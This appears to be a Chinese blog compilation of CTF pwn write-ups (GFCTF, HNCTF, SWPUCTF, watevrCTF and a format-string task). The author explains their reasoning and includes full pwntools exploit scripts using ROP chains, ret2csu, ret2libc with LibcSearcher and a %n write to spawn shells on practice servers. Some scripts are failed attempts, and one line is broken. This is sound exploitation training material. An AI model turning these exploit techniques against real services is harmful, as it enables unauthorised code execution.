## [GFCTF 2021]where_is_shell

这题算是拓展我的知识了，学到了，nice！

还是一如既往的操作：

![image-20230503082639677](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305032126821.png)

反编译：

![image-20230503082719706](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305032127752.png)

又是有system没有/bin/sh

### 尝试

但这题也没有上一题可以往bss段写的地方，所以这里我第一想法就是直接利用栈溢出往bss段地址写/bin/sh，这里就想利用ret2csu，但很可惜我似乎没搞明白怎么做，下面是我的尝试。

```python
from pwn import*

io = remote('node4.anna.nssctf.cn',28835)

elf = ELF('./shell')
last_addr = 0x04005DA
front_addr = 0x04005C0
def csu(rbx,rbp,r12,r13,r14,r15,ret_addr):
    payload = b'a'*(10+8)+p64(last_addr)+p64(rbx)+p64(rbp)+p64(r12)
    payload += p64(r13)+p64(r14)+p64(r15)+p64(front_addr)+b's'*(0x38)+p64(ret_addr)
    io.sendline(payload)

read_plt = elf.plt['read']
system = 0x00400430
csu(0,1,read_plt,0x20,0x0601038,0,elf.sym['main'])
io.sendline(b'/bin/sh\x00')
csu(0,1,system,0,0,0x601038,elf.sym['main'])

io.interactive()
```

然后我又看了大佬们的做法发现有一位的wp与我想的方法一致，这是dalao的exp：

```python

from pwn import *

context.endian = 'little'
context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'
io = remote('1.14.71.254', 28644)
elf = ELF('/root/Desktop/shell')

io.recvuntil(b'zltt lost his shell, can you find it?\n')
fake_addr = 0x601a00
pop_rsi_r15_ret = 0x004005e1
pop_rdi_ret = 0x004005e3
ret = 0x00400481

payload = b'a' * 0x10 + p64(fake_addr) + p64(pop_rsi_r15_ret) + p64(fake_addr) + p64(0) + p64(0x00400572)
io.send(payload)

payload = b'/bin/sh\x00' + p64(pop_rdi_ret) + p64(fake_addr) + p64(ret) + p64(elf.sym['system'])
io.send(payload)

```

所以我又进行了一下改进：

```python
def csu(rbx,rbp,r12,r13,r14,r15,ret_addr):
    payload = b'a'*(10+8)+p64(last_addr)+p64(rbx)+p64(rbp)+p64(r12)
    payload += p64(r13)+p64(r14)+p64(r15)+p64(front_addr)+\
    b'/bin/sh\x00'+b's'*(0x38)+\
    p64(pop_rdi)+p64(0x601038)+p64(ret)+p64(system)+\
    p64(ret_addr)
    io.sendline(payload)
```

但这里我又犯了一个错误，就是很明显我能溢出的字节数不够写这么长的`rop`链，所以又换成了下面这样的写法：

```python
system = 0x00400430
pop_rsi_r15 = 0x004005e1
payload = b'a'*(10+8)+p64(0xdeadbeef)+p64(pop_rsi_r15)+p64(0x601038)+p64(0x0)+p64(0x0400572)
#这里仅仅改变read的第二个参数也就是改写入地址，用rsi寄存器，然后调用read函数
io.send(payload)

payload = b'/bin/sh\x00'+p64(pop_rdi)+p64(ret)+p64(0x601038)+p64(system)
#这里我看dalao的写法有一些没懂，这里如果这样写是可以把/bin/sh写入bss段，但是后面同时是直接用自己调用的read函数进行溢出，这样的话p64(pop_rdi)+p64(ret)+p64(0x601038)+p64(system)，这样一段到底是在栈上还是在bss段上，如果在bss段，那就无法进行栈溢出，那如果在栈上，他又是如何做到的呢，为什么可以直接这样写，程序会自己判断（\x00）还是其实都是先入栈再通过莫种方式将/bin/sh移入bss段呢（这里我觉得不太可行）。
io.send(payload)
```

但依旧是打不通，所以还是老老实实用system（$0）进行系统调用。

### 逝试

这同样也是我刚知道的新调用法：

```python
from pwn import *
elf = ELF('./shell')
p = remote('node4.anna.nssctf.cn',28835)
ret_addr = 0x400416 # ROPgadget --binary shell --only 'ret'
pop_rdi_ret = 0x4005e3 # ROPgadget --binary shell --only 'pop|rdi|ret'
tips = 0x400541
system_addr = elf.symbols['system']
payload = b'b'*0x10+b'b'*8+p64(ret_addr)+p64(pop_rdi_ret)+p64(tips)+p64(sys
tem_addr)
p.sendlineafter('find it?\n',payload)
p.interactive()
```

system（$0）参数是$0，所以肯定要找$0，这里找是找不到了，这里需要知道$0的机器码其实就是：24 30

所以可以找机器码。

在IDA里如何看机器码呢？

![image-20230504122151090](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305041221188.png)

![image-20230504122207996](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305041222072.png)

这样就可以看机器码了

![image-20230504122236992](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305041222041.png)

同样代码段是有read权限的，所以可以读取字符串。

flag：

![image-20230504122837965](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305041228021.png)

NSSCTF{6d9e2bc1-8482-4190-b94f-0fcb2c21e189}

[GFCTF 2021]where_is_shell

---

---

## [HNCTF 2022 Week1]ezr0p32

依旧是很简单的一题：

首先查看保护：

![image-20230503064718355](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305031947494.png)

开启Nx保护。

其实题目里已经告诉我们有了system函数，只需要找到/bin/sh即可。

查看反编译：

![image-20230503064828263](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305031948316.png)

很明显开启NX保护我们不能往栈上直接写参数进行传参，需要他的地址，只是我们就需要考虑/bin/sh放的地址，图中已经告诉我们了：第一个read函数是往buf的地址里写数据，同时又可以知道buf没有初始化，大胆猜测他在bss段

bss:

![image-20230503065154769](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305031951830.png)

果然是这样的。

所以第一个read就往bss段写/bin/sh



### exp：

```python
from pwn import*
context(log_level='debug')
io =remote('node2.anna.nssctf.cn',28797)

system = 0x080483D0
io.recvuntil(b'please tell me your name\n')
io.sendline(b'/bin/sh\x00')
addr = 0x0804A080
io.recvuntil(b'time~\n')
payload = b'a'*(0x1c+4)+p32(system)+p32(0xabcd)+p32(addr)

io.sendline(payload)

io.interactive()
```

### flag

![image-20230503065308129](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305031953196.png)

[HNCTF 2022 Week1]ezr0p32

检查：



![image-20230503053138286](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305031831408.png)





## exp

```python
from pwn import*
from LibcSearcher import*
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','split','-h'])
io = remote('node2.anna.nssctf.cn',28091)
#io = process('./whitegive')
elf = ELF('./whitegive')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
pop_rdi = 0x0400763 

payload = b'a'*(0x10+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)

io.sendline(payload)

puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh=libc_base + libc.dump('str_bin_sh')
payload = b'a'*(0x10+8)+p64(pop_rdi)+p64(binsh)+p64(system)

io.send(payload)

io.interactive()
```

这题做得有点折磨：

找到的libc版本一直错误，error：sh: 1: d: not found

有点难受，后面看大佬们的wp和讨论，说是libcsearcher搜到的版本与实际版本不一样导致，实际的binsh的偏移还要再搜到的基础上+0x40



所以最后exp：

```python
from pwn import*
from LibcSearcher import*
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','split','-h'])
io = remote('node2.anna.nssctf.cn',28091)
#io = process('./whitegive')
elf = ELF('./whitegive')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
pop_rdi = 0x0400763 

payload = b'a'*(0x10+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)

io.sendline(payload)

puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh=libc_base + libc.dump('str_bin_sh')
payload = b'a'*(0x10+8)+p64(pop_rdi)+p64(binsh+0x40)+p64(system)

io.send(payload)

io.interactive()
```

[SWPUCTF-2021-新生赛]whitegive_pwn

## [watevrCTF 2019]Voting Machine

最近做iscc被薄纱，看题目都有思路，但exp就是写不对。难绷，属于是啥也不会，还是老老实实刷点题目吧。



来自Nssctf：

还是先检查文件保护

![image-20230503050911886](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305031809017.png)

一开始我没查后门就直接ret2libc了，实际上这题很简单，有backdoor;

### ret2libc

exp:

```python
from pwn import*
from LibcSearcher import*
context(log_level='debug')
io = remote('node3.anna.nssctf.cn',28531)
elf = ELF('./Voting Machine 1')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
pop_rdi = 0x004009b3
ret = 0x00400656 

payload= b'a'*(0x2+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)

io.recvuntil(b'Vote: ')
io.sendline(payload)
io.recvuntil(b'Thanks for voting!\n')

puts_addr = u64(io.recv(6).ljust(8,b'\x00'))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

payload = b'a'*(0x2+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)

io.sendline(payload)
io.sendline(b'ls')
io.sendline(b'cat flag.txt')
io.interactive()

```



### backdoor

```python
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = remote('node3.anna.nssctf.cn',28531)
# io = process('./machine')
backdoor = 0x400807
payload = b'a' * 10 + p64(backdoor)

io.sendlineafter(b'Vote:', payload)
# io.interactive()
io.recv()
io.recv()
```

flag:



![image-20230503052220065](https://cdn.jsdelivr.net/gh/pyhyk/typaro-image/202305031822131.png)

[watevrCTF-2019]Voting-Machine

### 字符串格式化


![](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304291824098.jpg)





首先还是查看文件保护：
![image-20230411212811968](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304112128086.png)

![image-20230411212825976](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304112128032.png)

拖进32位ida查看：

![image-20230411212910628](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304112129674.png)

一眼就看到system('/bin/sh'),而条件则是x==4，所以我们的目的就是让x的值变成4.

程序里面printf一眼就可以知道这题应该是利用字符串格式化漏洞。

![image-20230424184955291](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241849414.png)

所以我们先需要知道输入的buf所在的位置，通过如图方式泄露可以知道aaaa的位置是在第十一位。

然后我们需要查看x的地址：

![image-20230424185143117](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241853350.png)

这样将x的地址写入再利用%?$n把？处地址上的数据改写。

#### exp

```python
from pwn import*

io = remote('node4.buuoj.cn',28081)
x_addr = 0x0804A02C
payload =p32(x_addr)+b'%11$n'

io.send(payload)
io.interactive()
```

![image-20230424185330426](https://raw.githubusercontent.com/pyhyk/typaro-image/main/202304241853486.png)